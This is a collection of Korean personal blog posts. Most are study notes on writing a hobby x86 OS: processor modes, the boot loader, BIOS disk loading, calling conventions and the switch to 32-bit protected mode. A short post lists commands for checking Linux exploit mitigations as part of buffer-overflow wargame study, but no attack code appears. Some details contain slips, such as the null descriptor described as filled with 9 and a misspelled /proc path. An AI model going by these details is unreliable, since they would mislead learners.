$bash

2학기 중간 기술능력평가

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

0x06_32비트 보호모드 전환

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

32비트 보호모드로 전환


리얼모드에서 보호모드로 전환 하려면 6단계가 필요하다.

단계

 모드

 설명

 1

 16비트 리얼모드

 세그먼트 디스크립터 생성

보호 모드 코드와 데이터용 세그먼트 디스크립터 생성

 2

 16비트 리얼모드

GDT 정보 생성

세그먼트 디스크립터의 시작 어드레스와 디스크립터의 전체 크기 저장

 3

 16비트 리얼모드

 프로세서에 GDT 정보 설정

GDTR 레지스터에 GDT의 시작 어드레스와 크기 설정

 4

 16비트 리얼모드

 CR0 컨트롤 레지스터 설정

CR0 컨트롤 레지스터의 PE 비트=1, PG 비트=0

 5

 16비트 리얼모드

 jmp 명령으로 CS 세그머늩 셀렉터 변경과 보호 모드로 전환

jmp 0x08: 보호모드 커널의 시작 어드레스

 6

 32비트 보호모드

 각종 세그먼트 셀렉터 및 스택 초기화

DS, ES, FS, GS, SS 세그먼트 셀렉터와 ESP, EBP 레지스터 초기화

 7

 32비트 보호모드

 보호 모드 커널 실행


세그먼트 디스크립터 생성


세그먼트 디스크립터(Segment Descriptor)는 세그멘테이션 기법(메모리 관리 기법)에서 세그먼트의 정보를 나타내는 자료구조이다. 세그먼트는 메모리 공간을 임의의 크기로 나눈 영역을 의미하며, 세그먼트를 복잡하게 구성할수록 세그먼트 디스크립터의 수도 증가한다. 


세그먼트에 대한 정보를 나타내는 세그먼트 디스크립터는 크게 코드 세그먼트 디스크립터와 데이터 세그먼트 디스크립터로 나누어진다. 코드 세그먼트 디스크립터는 실행 가능한 코드가 포함된 세그먼트에 대한 정보를 나타내며, CS 세그먼트 셀렉터에 사용된다. 데이터 세그먼트 디스크립터는 데이터가 포함된 세그먼트에 대한 정보를 나타내며, CS 세그먼트 셀렉터를 제외한 나머지 셀렉터에 사용할 수 있다. 스택 영역 또한 데이터를 읽고 쓰는 데이터 영역의 한 종류이므로 데이터 세그먼트 디스크립터를 사용한다.


내가 만들 OS에서 필요로 사용되는 세그먼트는 다음과 같다.

    • 커널 코드와 데이터용 세그먼트 디스크립터 각 1개
    • 커널 코드와 데이터용 세그먼트는 0~4GB까지 모든 영역에 접근할 수 있어야한다.
    • 보호모드용 코드와 데이터에 사용할 기본 오퍼랜드 크기는 32비트여야한다.
    • 보호 기능은 사용하지 않으며, 프로세서의 명령을 사용하는데 제약이 없어야 하므로 최상위 권한 0이어야 한다.

코드 세그먼트 디스크립터와 데이터 세그먼트 타입 설정


코드 세그먼트와 데이터 세그먼트를 설정 하려면 S필드와 타입 필드를 조합해야한다. S필드를 살펴보자.. 코드 세그먼트와 데이터 세그먼트는 세그먼트 디스크립터이므로 간단하게 s필드의 값을 1로 설정한다. 세그먼트 타입은 4비트 크기의 타입 필드를 이요해서 설정한다. 또한 기본적인 세그먼트 타입만 사용하고, 코드 세그먼트는 실행/읽기 타입으로 설정하고 데이터 세그먼트는 읽기/쓰기 타입으로 설정한다. 따라서 코드 세그먼트 타입은 0x0a(Execute/Read), 데이터 세그먼트 타입은 0x02(Read/Write)가 된다.


// 그에 따른 이유는 아래 표를 참고..


세그먼트 영역 설정

OS의 커널 세그먼트 디스크립터는 4GB 전체 영역에 접근할 수 있어야한다. 그러므로 커널용 세그먼트 디스크립터의 기준 주소는 0으로 설정한다. 세그먼트의 기준 주소는 결정했으니 이제 세그먼트의 크기를 설정할 차례이다. 크기 필드는 총 20비트며 20비트로 표현할 수 있는 최댓값은 2^20(=1MB)이다. 크기 필드만으로는 4GB까지의 영역을 표현할 수 없으므로 20비트의 크기를 4GB로 확장할 무엇인가가 필요하다. 이때 사용하는 것이 G필드이며, G필드의 값을 1로 설정하면 크기 필드에 4KB를 곱한 것이 실제 세그먼트의 크기가 된다. 1MB에 4KB를 곱하면 4GB가 되므로 크기 필드와 G필드를 사용하면 메모리 전체 영역을 세그먼트의 입력으로 설정할 수 있다.


기본 오퍼랜드 크기와 권한 설정

보호 모드는 32비트로 동작하므로 기본 오퍼랜드의 크기 역시 32비트로 설정한다. 여러 필드 중에 기본 오퍼랜드의 크기는 D/B 필드가 담당하며, 1로 설정하면 기본 오퍼랜드의 크기를 32비트로 설정할 수 있다. 기본 오퍼랜드의 크기와 관련된 필드가 D/B필드만 있는것은 아니다. IA-32e모드의 64비트 서브 모드 또는 32비트 호환 모드를 설정하는 L필드도 있다. 디스크립터는 보호 모드용이므로 L비트는 0으로 설정한다. 


권한 필드는 보호 모드의 주요 특징 중 하나인 보호 기능에 핵심 역할을 한다. 프로세서는 디스크립터의 권한 필드에 설정된 값과 세그먼트 셀렉터의 권한을 비교하여 접근이 가능한지를 판단하며, x86 프로세서에서 동작하는 운영체제의 대부분도 이 기능를 사용하여 OS의 핵심 부분을 보호하고 있다. 


기타 필드 설정

생성한 세그먼트 디스크립터는 보호 모드로 전환하는 과정에서 사용하므로 유효한 디스크립터라는 것을 알려야한다. 디스크립터가 유효함을 나타내는 필드는 P필드이며 1로 설정하면 해당 디스크립터를 사용할 수 있다. AVL필드는 임의로 사용할 수 있는 필드로 OS에선 별도의 값을 사용하지 않기 때문에 0으로 설정한다.


세그먼트 디스크립터 생성 코드

// 코드 세그먼트 디스크립터와 데이터 세그먼트 디크스립터를 생성하는 내용.



64비트 IA-32e 모드로 전환하려면 반드시 32비트 보호 모드를 거쳐야 한다. 보호 모드는 현대 OS가 제공하는 4GB의 주소 공간, 멀티태스킹, 페이징, 메모리 보호 등의 기능을 하드웨어적으로 지원한다. 목표가 32비트 OS라면 깊게 공부해야한지만, 64비트 OS로 전환하기 위한 임시모드로 쓰기때문에 깊게 공부할 필요가 없다. 보호 모드의 전체 기능에 대해서 살펴보기 보다는 64비트 모드로 전환하는데 필요한 기능을 중심으로 알아보자. 

GDT 정보 생성 

GDT(Global Descriptor Table) 자체는 연속된 디스크립터의 집합이다.  사용하는 코드 세그먼트 디스크립터와 데이터 세그먼트 디스크립터를 연속된 어셈블리어 코드로 나타내면 그 전체 영역이 GDT가 된다. 

다만 한 가지 제약 조건이 있다면 널 디스크립터(NULL Descriptor)를 가장 앞부분에 추가해야한다는 것이다. 널 디스크립터는 프로세서에 의해 예약된 디스크립터로 모든 필드가 9으로 초기화된 디스크립터이며 일반적으로 참조되지 않는다.

GDT는 디스크립터의 집합이므로 프로세서에 GDT의 시작 어드레스와 크기 정보를 로딩해야한다. 따라서 이것을 저장하는 자료구조가 필요하다.

GDT 정보를 저장하는 자료구조의 기준 주소는 32비트의 크기이며, 데이터 세그먼트의 기준 주소와 관계없이 어드레스 0을 기준으로 하는 선형 주소이다. 따라서 GDT의 시작 어드레스를 실제 메모리상의 어드레스로 변환할 필요가 없다. GDT의 선형 주소는 현재 코드가 실행되고 있는 세그먼트의 기준 주소를 알고 있으므로, 현재 세그먼트의 시작을 기준으로 GDT의 오프셋을 구하고, 세그먼트 기준 주소를 더해주면 구할 수 있다. 현재 코드는 부트로더에 의해 0x10000에 로딩되어 실행되고 있으므로 자료구조를 생성할 때 GDT 오프셋에 아래와 같이 0x10000을 더해주면 선형 주소가 된다.

보호모드로 전환

보호 모드로 전환하려면 GDTR 레지스터 설정, CR0 컨트롤 레지스터 설정, jmp 명령 수행 3단계만 수행하면 된다. 프로세서의 레지스터에 값을 설정하는 작업은 앞에서 살펴본 작업보다 훨씬 간단하다.

프로세스에 GDT 정보 설정

 lgdt 명령어를 2바이트 크기와 4바이트 기준 주소로 된 GDT 정보 자료 구조를 오퍼랜드로 받는다.

// lgdt [ GDTR ]       ; GDTR 자료구조를 프로세서에 설정하여 GDT 테이블을 로드

CR0 컨트롤 레지스터 설정

CR0 컨트롤 레지스터에는 보호 모드 전환에 관련된 필드 외에 캐시(Cache), 페이징(Paging), 실수 연산 장치(FPU) 등과 관련된 필드가 포함되어 있다. 

OS에서 보호모드는 거쳐가는 임시 모드에 불과하므로 세그먼테이션 기능외에는 사용하지 않는다. 따라서 페이징, 캐시, 메모리 정렬 검사, 쓰기 금지 기능을 모두 사용하지 않음으로 설정하면 된다. FPU 역시 쓰지 않으므로 임시 값으로 설정한다. FPU 에 관련된 필드를 제외한 나머지필드는 해당 필드를 설정하는 것만으로 관련 기능을 제어할 수 있다. 하지만, FPU에 관련된 필드(EM, ET, MP, TS, NE)는 서로 연관되어 있으므로 FPU 관련 필드를 설정하는 방법에 대해서 알아보자.

먼저, FPU 내장 여부에 관련된 필드부터 설정하겠다. x86 프로세서에는 FPU가 내장되어 있으므로 EM 필드를 0으로 설정해서 FPU 명령을 소프트웨어로 에뮬레이션하지 않게 하고, ET 필드를 1로 설정한다. 지금은 임시로 초기화를 수행한 것이므로 FPU를 사용하면 정상적으로 작동하지 않는다. 따라서 MP 필드와 TS 필드와 NE 필드를 1로 설정하여 FPU 명령이 실행되었을때 예외가 발생하게 설정한다. 보호 모드에서는 예외에 대해 처리르 ㄹ하지 않으므로 가능하면 실수 연산을 하지 않는것이 좋다.

보호 모드로 전환과 세그먼트 셀렉터 초기화

보호 모드로 전환하기 위한 준비는 끝났다. 남은 것은 32비트 코드를 준비한 후, 한 줄의 어셈블리어 코드로 CS 세그먼트 셀렉터(=레지스터)의 값을 바꾸는 것이다.

16비트에서 32비트로 전환 하려면 BITS 명령어를 사용한다. 

CS 세그먼트 셀렉터를 교체하려면 jmp 명령과 세그먼트 레지스터 접두사를 사용해야한다. 리얼 모드의 세그먼트 레지스터는 세그먼트의 시작 어드레스(기준주소)를 저장하는 레지스터이다. 보호 모드의 세그먼트는 리얼모드와 달리 다양한 정보를 포함하고 있으므로 세그먼트 정보는 디스크립터에 저장하고 세그먼트 셀렉터는 그 디스크립터를 지시하는 용도로 사용한다.

// 이후 화면 출력 내용은..생략...

// 출력이 주된 목표가 아닌 원리 구조 파악으로 진행중.

리눅스 보호기법 확인작업

0x0300 : Study/0x0301 : System

1. SSP(Stack Smashing Protector)

__stack_chk_fail


2. NX

readelf -l ./vul

실행권한 확인


3. Dummy

gcc -v

2.96 이상부터 더미존재


4. Random Stack

cat /proc/sys/kernel/exex-shield-randomize

1 - O

2 - X


5.Random Library

cat /proc/self/maps


6. ASCII Armor

cat /proc/self/maps

'0x0300 : Study > 0x0301 : System' 카테고리의 다른 글

윈도우 메모리 보호 우회  (0) 2016.10.29
윈도우 취약점 악용  (0) 2016.10.29
segmentation fault?  (0) 2016.10.04
payload?  (0) 2016.09.29
System study 근황.  (0) 2016.09.20

0x05_플로피 디스크에서 OS이미지 로딩

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

BIOS서비스와 소프트웨어 인터럽트

BIOS 에선 키보드/마우스같은 주변기기 에 대한 제어하는 기능을 제공한다. 16비트의 OS를 구현한다고 하면 BIOS만 활용해서 OS를 개발 할 수 있다.


BIOS는 기존의 라이브러리 파일과 달리 자신의 기능을 외부적으로 특별하게 제공한다. 함수의 어드레스를 인터럽트 벡터 테이블(Interrupt Vector Table)에 넣어두고, 소프트웨어 인터럽트(SWI, Software Interrupt)를 호출하는 방법을 사용한다. 인터럽트 벡터 테이블은 메모리 어드레스 0에 있는 테이블로 특정 번호의 인터럽트가 발생했을때 인터럽트를 처리하는 함수검색에 사용한다. 인터럽트가 발생했을 때 처리하는 함수 어드레스가 저장되어있으며, 각 항목은 크기가 4바이트이다. 또한 인터럽트는 최대 256개 까지 설정할 수 잇으므로 리얼 모드의 인터럽트 벡터 크기는 최대 1024(256 * 4)바이트가 된다.


여기서 BIOS가 제공하는 플로피 디스크 서비스를 이용하려면 0x13 인터럽트(Disk I/O Service)를 발생해야 된다. SWI는 CPU에 가상으로 특정 인터럽트가 발생했다고 알리는 명령어로 int 0x13 형태로 사용한다. 또한 함수의 어드레스를 인터럽트 벡터 테이블에 넣어뒀다면 int 명령으로 언제든지 해당 함수로 이동할 수 있다.


결론만 말하자면 BIOS 서비스는 SWI로 호출을 할 수 있지만 결국 독자적으로 사용은 못한다. 결국 관련된 파라미터를 넘겨 줘야 되는데 그때 사용되는게 레지스터이다.


// 관련된 이미지가 없다... 흐앙


OS 이미지 로딩 구현

Bashsi OS에서 이미지는 크게 부트로더, 보호 모드 커널, IA-32e 모드 커널로 구성되어 있다. 각 부분은 섹터 단위로 정렬해서 하나의 부팅 이미지 파일로 합치며 디스크의 두번째 섹터부터 읽어서 특정 메모리 어드레스에 순서대로 복사하면 이미지 로딩은 끝이다. 고로 OS 이미지 를 0x10000(64Kbyte)에 로딩해서 실행한다. 


// OS 이미지를 반드시 0x10000 위치에 로딩해야 실행되는것은 아니다. 부트로더 이후(0x07C00)에 연속해서 복사해도 OS실행에 문제는 없다.


플로피 디스크의 첫 번째 섹터는 부트로더로 BIOS가 메모리에 로딩한다. 따라서 플로피 디스크의 두 번째 섹터부터 OS 이미지 크기만큼 읽어서 메모리에 복사하면 된다. 플로피 디스크의 섹터는 '섹터 > 헤드 > 트랙' 의 순서로 배열되어 있으므로 이 순서만 지킨다면 큰 문제 없이 로딩할 수 있다.


또한 이걸 이제 ASM화 시켜보자.


// 한없이 작은 맥북에어...


어셈블리어 소스 코드와 디스크 리셋 기능만 부트로더에 추가하면 로딩할 준비가 끝난다. 그런데 기능은 구현했지만 화면에 출력하는 코드가 없어서 진행 상황이나 완료 유무를 확인하기 어렵다. 이번에는 화면에 진행 상태를 출력하도록 코드를 추가해보자..


앞에서 환영 메시지를 출력하는 코드를 구현했다. 하지만 함수 형태로 구현하지 않아서 원하는 곳에서 호출할 수 없었다. 무네즌 코드 구조뿐 만 아니라 함수 호출에 필요한 핵심 자료구조또한 빠져있다는것이다. 이를 보완하여 함수 호출이 가능한 구조로 만들어 보자.


스택 초기화 와 함수 구현

x86 프로세서에서 함수를 사용하려면 스택이 꼭 필요하다...


x86 프로세서에서는 함수를 호출한 코드의 다음 어드레스, 즉 되돌아갈 어드레스(Return Address)를 저장하는 용도로 스택을 사용한다. 함수를 호출하면 프로세서가 자동으로 되돌아올 어드레스를 스택에 저장하며, 호출된 함수에서 되돌아감(RET)을 요청하면 자동으로 스택에서 어드레스를 꺼내 호출한 다음 어드레스로 이동하는 것이다. 스택은 복귀 어드레스를 저장하는 역할뿐만 아니라 함수의 파라미터를 저장하는 역할도 겸한다. 호출하는 쪽 과 호출되는 쪽 은 정해진 규칙에 따랄 파라미터를 스택에 저장함으로서 협엄할 수 있다.


함수 호출을 위해 가장 먼저 해야할 일은 스택 생성이다. x86프로세서는 스택관련 레지스터가 세가지 있다. 스택 세그먼트 레지스터(SS)와 스택 포인터 레지스터(SP), 그리고 베이스 포인터 레지스터(BP) 가 있다. 스택 세그먼트 레지스터는 스택 영역으로 사용할 세그먼트의 기준 주소를 지정한다. 스택 포인터 레지스터는 데이터를 삽입하고 제거하는 상위을 지정한다. 마지막으로 베이스 포인터 레지스터는 스택의 기준 주소를 임시로 지정할 때 사용한다. 16비트 모드는 세그먼테이션 방식으로 어드레스를 변환하므로 스택 세그먼트 레지스터를 사용해서 최대 64KB를 스택 영역으로 지정할 수 있다. 스택 세그먼트 레지스터에 0x0000을 설정한다면 사용가능한 영역은 0x00000~0x0FFFF까지가 되며, 스택 세그먼트 레지스터에 0x1000을 설정한다면 사용 가능한 영역은 0x010000~0x01FFFF까지가 된다. 스택 세그먼트 레지스터로 스택 세그먼트의 범위는 지정할 수 있지만, 실제 스택의 크기는 지정할 수 없다.


따라서 스택의 실제 크기는 스택 포인터 레지스터와 베이스 포인터 레지스터의 조깃값으로 지정한다. x86프로세서의 스택은 아래와 같이 데이터가 삽입될때마다 스택의 상위(TOP)를 나타내는 스택 포인터 레지스터가 낮은 어드레스(0x00에 가까운 주소)로 이동한다. 따라서 두 레지스터의 초깃값을 어떻게 설정하는가에 따라서 스택의 크기가 결정된다.



스택으로 사용할 영역을 결정해야하는데, 0x010000(64KB) 어드레스부터는 OS 이미지가 로딩되므로 0x010000이하, 즉 0x0000:0000~0x0000:FFFF 영역을 사용하겠다. 따라서 스택 세그먼트 레지스터(SS)의 값은 0x0000으로 설정하겠다. 또한 스택은 넉넉한 것이 좋으므로 스택 포인터 레지스터와 베이스포인터 레지스터를 0xFFFE로 설정하여, 스택 영역의 크기를 세그먼트의 최대크기로 지정하겠다. 아래 소스가 부트로더 앞부분에 추가될 스택 초기화 코드이다.



이제 스택 설정이 끝이 났다. 이제는 메세지를 출력하는 함수를 구현해 보자. 메세지를 출력하는 함수는 대부분 같다. 함수에서 사용하는 레지스터를 저장하고, 복구하는 코드와 넘겨받는 파라미터를 스택에서 꺼내는 코드를 추가하면 된다. x86 프로세서는 스택 작업을 처리하는 두 가지 명령 push, pop을 지원하며, 각 명령은 스택에 데이터를 넣고 꺼낸다.



구현할 C언어 코드 :: PrintMessage(iX, iY, pcString);


위 코드를 보면 함수 호출을 끝낸 뒤 스텍 포인터 레지스터(SP)에 6을 더한다. 이는 함수 파라미터로 스택에 삽입된 값을 제거하기 위함이다. 16비트 모드에서는 스택에 2바이트(WORD) 크기로 삽입/제거되고 삽입은 스택 포인터 레지스터(SP)를 아래로 이동시킨다. 따라서 파라미터 3개가 삽입되면 삽입되기 전의 위치에서 -6(2바이트 * 3)만큼 이동할 것이다. 함수 수행이 끝난후, 스택을 다시 원래대로 복원하려면 감소한 만큼 더해주면 되므로 6을 더하는 것이다. 


호출하는 코드는 작성이 완료 되었으니, 이번엔 호출받는 코드를 작성하자. 스택의 특정 위치를 기준으로 오프셋을 이용해 접근하면 파라미터를 찾게 되는데 여기서 문제가 한 가지 있다. 스택의 상위(TOP)을 의미하는 스택 포인터 레지스터(SP)는 스택 관련 명령(push, pop)에 따라 계속 변한다는 것이다. 스택에 삽입된 파라미터에 접근하려면 시시가각 변하는 스택 포인터 레지스터(SP)대신 스택에 고정된 갑승ㄹ 가리키는 레지스터를 사용하는거싱 편리하다. 이러한 역할을 하는 거싱 베이트 포인트 레지스터(BP)이며, 호출된 함수는 베이스 포인터 레지스터(BP) + 오프셋으로 파라미터에 접근하게 된다.


호출되는 함수에서는 자신이 사용하는 레지스터의 값을 미리 스택에 저장해두고, 수행이 끝나면 이를 복원하여 호출한 이후의 코드 수행에 영향을 미치지 않아야 한다. 



이를 바탕으로 메세지 출력 함수를 수정해보자.



보호모드에서 사용되는 세 가지 함수 호출 규약

이번엔 보호 모드에서 주로 사용하는 함수 호출 규약 세 가지를 잠깐 살펴보자. 호출 규약(Calling Convention)은 함수를 호출할 때 파라미터와 복귀 어드레스 등을 지정하는 규칙이다. 보호 모드에서 사용하는 대표적인 호출 규약에는 stdcall, cdecl, fastcall이 있다. stdcall 방식은 파라미터를 스택에 저장하며, 호출된 쪽에서 스택을 정리한다. cdecl 방식식도 역시 파라미터를 스택에 저장하지만, 함수를 호출한 짜고스택을 정리한다. fastcall 방식은 일부 파라미터를 레지스터에 저장하는 것을 제외하면 stdcall 방식과 같다.



stdcall(Standard call)은 파라미터를 스택에 넣을때 오른쪽에서 왼쪽 순서로 집어 넣는다. 그리고 함수의 반환값은 EAX 레지스터(32비트 AX레지스터)를 사용하며 스택에서 파라미터를 제거하는 작업을 호출된 함수가 처리하게 한다.



cdecl(C-Declare CAll)은 stdcall과 동일하게 파라미터의 오른쪽에서 왼쪽 순서로 스택에 집어넣는다. 함수의 반환값 역시 AX 레지스터를 사용한다. 단 한가지 차이점은 스택에서 파라미터를 제거하는 작업을 호출한 함수가 대신 처리한다는 점이다.


그럼 이제 9번 줄에서 ret 12 > ret 으로 수정되고 20번 줄 다음에 add esp, 12 가 추가 되어 작성 된다.


fastcall은 컴파일러마다 구현하는 방식이 조금씩 다르다. 윈도우에서 많이 쓰이는 마이크로소프트사의 컴파일러를 기준으로 설명하면, 처음 2개의 파라미터를 ECX, EDX 레지스터에 삽입하는 점을 제외하고는 stdcall과 같다.



IA-32e모드의 호출규약은 fastcall을 확장한 방식이며, 보다 많은 레지스터르 파라미터 전달용으로 사용한다. IA-32e모드로 전환되면 기존 레지스터에 8개의 범용 레지스터가 추가된다. IA-32e모드의 호출규약은 기존 레지스터와 추가된 레지스터를 포마하여 파라미터를 최대 6개까지 전달할 수 있도록 설계되었기 때문에, 파라미터 개수만 제한하여 사용하다면 스택관련 작업을 줄일 수 있다.

// 다음에는 소스코드 올리는 스크립트 써서 해야겠다....;;;

테스트를 위한 가상 OS 이미지 생성

가상 OS 이미지는 여기서만 사용하고 후에 실제 OS 이미지로 대체하므로 세세한 부분까지 구현하지 않아도 무관하다. 부트로더 코드를 기반으로 기능을 간소화하여 OS가 실행되었음을 표시하는 기능만 넣겠다. 자신의 섹터 번호를 화면 위치에 대응시켜서 0~9까지 번호를 출력한다면 화면에 출력된 문자의 위치와 수를 확인하여 정상여부를 판단할 수 있다.

먼저 kernel32 에서 가상 OS 소스파일로 사용할 VirtualOS.asm을 만든다. 부트 로더 코드와 동일한 방식으로 레지스터를 초기화 한 다음 화면 2번째 라인의 가장 왼쪽 위치에 0을 출력한다. SECTORCOUNT라는 메로리 어드레스는 정상적으로 처리된 섹터의 수를 기록하고, 이를 사용해 화면에 출력될 자표를 계산할 용도로 추가했다. 지금은 한 섹터 크기의 코드이므로 이 값이 중요한 역할을 하지는 않는다.

이제는 1섹터 크기의 가상 OS 코드를 확장해서 1024 섹터로 만들어 보겠다. 1024섹터의 가상 OS 이미지를 만든 방법은 의외로 간단하다. 1024 섹터중에 마니작 섹터를 제외한 1023섹터의 코드를 화면에 자신을 출력하는 코드 및 다음 섹터의 어드레스로 이동하는 코드를 반복하면 된다. 그리고 마지막 섹터 하나는 더이상 섹터가 없으므로 위 예제와 같이 자신을 출력하고 무한 루프를 수행하도록 하면 끝이다.

// 추가로 아래 마지막으로 반복문 종료로 %endrep 을 쓰자.


이후..makefile을 수정을 하여 QEMU를 생성하면 된다... 끝


segmentation fault?

0x0300 : Study/0x0301 : System

전에 풀던 LOB를 풀다 생각나서 쓴글.


Q : Lob에선 Core dump가 떠지는데 왜 따른곳에선 안될까요?


B@sh시 

// ulimit -c 10000

언리미트는 유저에 대해서 할당되는 자원량에 한계를 정리해주는 명령어 이다.

이걸 사용함으로써 사용자를 기본으로 하는 리눅스 시스템에서 과부하를 막아주는 역할을 한다.


결론은 -c 10000하면 core파일을 생성할 수 있다고 카더라(?..뇌피셜이다.)

'0x0300 : Study > 0x0301 : System' 카테고리의 다른 글

윈도우 취약점 악용  (0) 2016.10.29
리눅스 보호기법 확인작업  (0) 2016.10.11
payload?  (0) 2016.09.29
System study 근황.  (0) 2016.09.20
근황.  (0) 2016.09.01

CodeEnge_Basic L01~05

0x0300 : Study/0x0307 : Reversing


// 심심해서 풀어본 리버싱. 사실 첨 풀어보는데 생각보다 쉬운듯.



'0x0300 : Study > 0x0307 : Reversing' 카테고리의 다른 글

linux remote ida debug  (0) 2017.05.08
DWORD? WORD?  (0) 2017.04.21
Reversing _ 1 day(잠시중단)  (2) 2016.12.20
Anti Debugging  (0) 2016.11.30
Reversing tools.  (0) 2016.07.08

0x04_BootLoader

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

시작전에...가상머신에서 환경 구축해서 안되고..내꺼 맥북에서도 안되서 그냥 내용 숙달로 진행할 계획...


위 그림을 보면 BIOS 영역과 OS영역이 있는데 전에 배웠던 모드에 따라 진행되는 순서도라 생각하면 이해가 빠를꺼 같다..


BIOS 부팅 과정에서도 수많은 작업을 하지만 OS 내용을 공부할꺼기 때문에 ... 일단 이번에는 부트로더 탭을 공부할 것인데

그전에 부트 로더 제작을 하여 메세지 출력? 까지 할 계획이다.


Makefile 파일 생성

Make 프로그램은 소스파일을 이용해서 자동으로 실행 파일 또는 라이브러리 파일을 만들어주는 빌드 관련 유틸리티이다.

그에 따른 문법은 다양한데 Target, Dependency, Command 이라는 3가지 부분으로 기본 형식이 주어진다.


내용은 걍 책 참고하고.. 이제 부트로더 생성 과정을 만들어보자.


디렉터리 구조는 일단 서술하자면


BASH64

ㄴ00.BootLoader

ㄴ01.Kernel32

ㄴSource

ㄴTemp

ㄴ02.Kernel64

ㄴSource

ㄴTemp

ㄴ03.Application

ㄴ04.Utility


이렇게 구성된다.


Makefile(메인최상위 디렉터리) 파일

Makefile(asm은 빼고 이클립스 작성기준)의 목적은 각 하위 디렉터리의 makefile을 실행하는 것 이다

지금은 부트 로더만 있으므로 해당 디렉터리로 이동해서 빌드를 하고, 빌드 결과물을 OS이미지를 생성 하는것이 전부이다.


00.BootLoader/makeflie 파일

위 파일은 BootLoader.asm 파일을 nasm 어셈블리어 컴파일러로 빌드 한 이후 BootLoader.bin파일을 생성하는 구문이다.


위 두파일 공통적으로 clean target이 정의 되어 있기 때문에 구문을 삭제 할 수 있는것을 알 수있다.


부트로더 소스코드 작성

// 어셈블리 기초는 따로 숙지... 이후 바로 부트로더 어셈블리로 코딩을 해보자.


00.BootLoader/BootLoader.asm 소스코드


뭐 주석으로 간단 설명을 했지만 다시 정리해보면 6번줄은 뺀다면 기본적인 부트로더 작성내용이라고 해도 무방하다..

이제 jmp쪽을 건드리면서 부트로더를 생성하면 된다.


이후 QEMU로 테스트를 할 수 있지만.. 환경이 없음으로 페쓰


화면 버퍼와 화면 제어

화면에 문자를 출력하려면 현재 동작 중인 화면 모드와 관련된 비디오 메모리의 주소를 알아야 된다. 비디오 메모리는 화면 출력과 관계된 메모리로 모드별로 정해진 형식에 따라 데이터를 채우면서 원하는 화면에 문자나 그림을 출력을 하는 구조로 되어있다.


기본적으로 비디오 메모리 주소는 0xB8000에서 시작하며 가로80자, 세로25자로 시작한다. 또한 화면에 표시하는 한 문자값은 1바이트와 속성값 1바이트로 구성되며 메모리 크기는 총 4000바이트이다.


// 구조에 따른 알고리즘 그림은 패스..

// 속성값 도표도 있는데.. 이것도 그냥 책보면서 넣어야 될듯.


// 이후 M글자 넣는거 나오는데 바로 넘어가서...


세그먼트 레지스터 초기화(문자열 출력)

전까지는 부트 로더가 잘 동작하는지 눈으로 확인 할 수 있게(사실 테스트는 안했다ㅎ) 확인해보았다..이후 작업에선 코드 이전에 세그먼트 레지스터에 초기화 하는 코드가 필요하다. BIOS가 부트 로더를 실행했을 때 세그먼트 레지스터에는 BIOS가 사용하던 값들이 들어 있기 때문이다. 그럼 당연 엉뚱한 주소로 접근 하기 때문에 결론적으론 초기화를 해야된다.


그렇다면 어떤 레지스터를 초기화 해야될까..  BASH64에서는 0x07C0으로 초기화 했다. 그 이유는 BIOS가 부트 로더를 디스크에서 읽어 메모리에 복사하는 위치가 0x7C00이기 때문이다. 또한 부트 로더의 코드(Code Segment)와 데이터(Data Segment)는 0x7C00부터 512바이트 범위에 존재하므로 CS와 DS세그먼트 레지스터를 모두 0x07C0을 설정하여 부트 로더의 시작을 기준으로 하도록 했으며, ES세그먼트 레지스터는 화면 출력에 관련된 세그먼트로 사용하려고 0xB800을 설정했다. 


// 그냥저냥한 코딩.


화면 정리 및 부팅 메세지 출력

출력하기전에 BIOS가 출력하는 메세지 때문에 지저분하니...일단 부팅 메세지를 지우는 코딩내용을 작성해야된다.


0xB8000 주소부터 4000바이트를 모두 0으로 채우는 방법이다. 하지만 다른 속성까지 모드 0으로 채우면 화면에 출력할 문자는 속성값을 같이 지정 해줘야하는 불편함이 있어 문자부분만 0으로 채우고 속성값은 0이 아닌 다른값으로 채울것이다. 검은색 바탕에 밝은 녹색으로 표시하도록 속성값은 0x0A로 진행하겠다.


그리고 C언어로 코딩된 BIOS 출력 메세지를 삭제하는 ASM은..



이제 그럼 문자열을 출력해보자..



// 출력 구문, 삭제구문 합친 코딩 내용.


0x03_프로세서 모드 및 레지스터

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

인텔 64비트 호환 프로세서에는 크게 다섯가지 운영 모드가 있다.


리얼모드

// 프로세서의 초기 상태로서 16비트 모드로 동작.


보호 모드

// 32비트 모드로 동작하며 세그먼트, 페이징, 보호, 멀티태스킹 등의 기능을 제공하는 모드


IA-32E 모드

// 32비트 호환 모드와 64비트 모드의 두 가지 서브모드로 구성


시스템 관리 모드

// 전원 관리나 하드웨어 제어 같은 특수 기능을 제공하는 모드


가상 8086모드

// 보호 모드 내부에서 가상의 환경을 설정하여 리얼 모드처럼 동작하는 모드.


각각의 모드는 리얼 > 보호 > IA-32e 를 거쳐야 하는 경우가 대부분.

리얼모드는 보호모드만 진입할 수 있고 보호모드는 가상 8068, IA모드로 진입이 가능하다.

관련해선 80페이지를 참고하자


이후 모드에 따른 레지스터 내용이 나온다.

그림적인 내용이 많아 따로 설명이 힘든거 같다...


기본적으로 레지스터는 두종류가 있는거 같다(물론 지금까지 본 내용을 한으로 말이다.)

프로그램 레지스터, 시스템 레지스터 인데.. 프로그램 레지스터는 달고나 문서를 보면서 이해된 내용이 나오지만..

시스템 레지스터

XX비트 컨트롤 레지스터                     (32/64)

플래그 레지스터                                 (32/64)

글로벌 디스크립터 테이블 레지스터    (48/80)

인터럽트 디스크립터 테이블 레지스터 (48/80)

로컬 디스크립터 테이블 레지스터        (16/16)

태스크 레지스터                                (16/16)

모델 고유 레지스터


순으로 있다. 대충 기억하면 될듯 하다..


프로그램 레지스터에는 범용, 세그먼트, 인스트럭션(자주보는 EIP)가 있는데.

범용 레지스터

계산, 메모리 주소 지정, 임시 저장 공간 의 목적으로 사용된다.


AX : 산술 연산을 수행할 때 누산기로 사용

BX : 데이터의 어드레스를 지정할 때 데이터 포인터로 사용

CX : 루프 또는 문자열의 카운터로 사용

DX : I/O 어드레스를 지정할 때 사용되며, 산술 연산을 수행할 때 보조 레지스터로 사용

SI : 문자열에 관련된 작업을 수행할 때 원본 문자열의 인덱스로 사용

DI : 문자열에 관련된 작업을 수행할 때 목적지 문자열의 인덱스로 사용

SP : 스택 포인터

BP : 스택의 데이터에 접근 할 때 데이터의 포인터로 사용

